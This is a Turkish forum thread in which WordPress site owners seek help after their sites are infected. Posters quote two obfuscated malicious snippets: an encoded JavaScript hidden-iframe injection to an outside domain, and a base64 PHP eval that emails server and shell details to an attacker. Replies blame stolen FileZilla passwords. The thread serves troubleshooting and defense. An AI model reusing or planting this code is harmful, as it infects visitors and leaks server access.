Wordpress 2.9.2'de mi açık var?

Ya wordpress ile yaptığım ve bugün teslim etmem gereken bir site'de; tam şimdi baktığımda ilk girişimde .php dosyasının x satırında problemle başladı, 5 dakika sonra baktığımda ise site tamamen gitmişti. İçeride kullandığım eklentilerle ilgili bir sıkıntı yok. aiefr.com diye bir siteden iframe ile birşey çekiyordu en son.
FTP programı olarak Filezilla en son güncel sürümü kullanıyorum. Daha önceden host şirketi kaynaklı virüsler vardı. Onları düzenlemiştim. Sanırım sıkıntı wordpress diye düşünüyorum. Şimdi bakıcam artık da başına gelen var mı böyle birşey şuan için herhangi birimizin? Yada ne olabilir ?

Mesela;
<script>eval(unescape('%64%6F%63%75%6D%65%6E%74%2E %77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%7 2%63%3D%22%68%74%74%70%3A%2F%2F%61%69%65%72%66%72% 2E%63%6F%6D%2F%3F%31%34%32%30%37%38%22%20%77%69%64 %74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%73%74%7 9%6C%65%3D%22%76%69%73%69%62%69%6C%69%74%79%3A%68% 69%64%64%65%6E%3B%70%6F%73%69%74%69%6F%6E%3A%61%62 %73%6F%6C%75%74%65%22%3E%3C%2F%69%66%72%61%6D%65%3 E%27%29'));</script><!-- uy7gdr5332rkmn -->

şeklinde geri zekalıca birşey eklemiş dosyanın en sonuna. Bu nedir ya?

Google çıktıları : http://www.google.com.tr/search?q=%3...ient=firefox-a

Filezilla da oluşan problem banada oluyor ara sıra bunu sebebi ucuz ve saçma sapan span sitelere girdiğimiz zaman alınan cacheların sonucu bunu nasıl çözersin? Ben artık site yöneticine kayıt etmiyorum sitelerimi sorunda olmuyor.

Tam anlamadım? Site yöneticine kayıt etmiyorum derken? Saçma sapan siteler derken?

Filezilla'dan kaynaklanan sorun siteyöneticisine yani kayıt etme sitelerini filezillaya dosyalarını güncelle bir daha da olmaz.

illegal ve genellikle ***** sitelerden bahsetmiş .

site yöneticisine kayıt etmiyorum derkende ftp ye giriş yaptıgınız programda şifrenizi kayıtlı tutmayın ( beni anımsa seçeneği varsa kaldırın ) demek istemiş

Valla Bıktım bu iframe midir ne haltsa neredeyse 2günde bi dosyaları yeniliyorum yine bulaşmış nereden bulaşıyor ne ediyor her zaman dosyaları yenilediğimde ftp mysql ve site şifrelerimi değiştiriyorum index.php lerin hepsinin cmd ayarlarını 444 yapıyorum mozilla ve explorer geçmişi siliyorum ahada sonuç bugün yine virüs var uyarısı alıyorum sitemden AVG Sakıncalı diyor kendi sitem için www.megaadmin.com sitem bu

Pc de virüs var ama net32 avg algılamıyor az önce yeni download ettiğim son sürüm wordpress' pcimdeyken saniyeler içerisinde aşağıdaki kod bulaştı nasıl kurtulurum bu virüsden hangi programı önerirsiniz

<?php eval("?>".base64_decode("PD9waHANCiRraW1lPSJjZWtlcjc3NUBnbWFpbC5jb20iOw0KJGJhc2xpaz0iRUxfTXVIYU1NZUQgU2VydmVyIEF2Y2lzaSBWMS4wIjsNCiRFTF9NdUhhTU1lRD0iRG9zeWEgWW9sdSA6ICIuJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4icm4iOw0KJEVMX011SGFNTWVELj0iU2VydmVyIEFkbWluIDogIi4kX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10uInJuIjsNCiRFTF9NdUhhTU1lRC49IlNlcnZlciBpc2xldGltIHNpc3RlbWkgOiAiLiRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXS4icm4iOw0KJEVMX011SGFNTWVELj0iU2hlbGwgTGluayA6IGh0dHA6Ly8iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydQSFBfU0VMRiddLiJybiI7DQokRUxfTXVIYU1NZUQuPSJBdmxhbmFuIFNpdGUgOiAiIC4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uInJuIjsNCm1haWwoJGtpbWUsICRiYXNsaWssICRFTF9NdUhhTU1lRCk7DQo/Pg==")); ?>

teşekkür ederim uykuyum biraz düşüncelerimi aktaramıyorum

Şimdi şöyle yapıyorum. Site'yi zipledim. Zip'li bir şekilde public_html içine atıyorum.

Filezilla dediğiniz gibi şifrelerim kayıtlı idi, kaldırdım. Normal olarak k.adı ve parola girerek yüklemeye başladım ve yüklüyor. Daha sonra Cpanel'den gidip zip dosyasını public_html içine açacağım. İşlem sonucunu burdan paylaşırım.

Edit : Sorun çözüldü bu şekilde.
Filezilla'ya bug bildiriminde de bulundum; bakalım ne geri dönüş yapacaklar?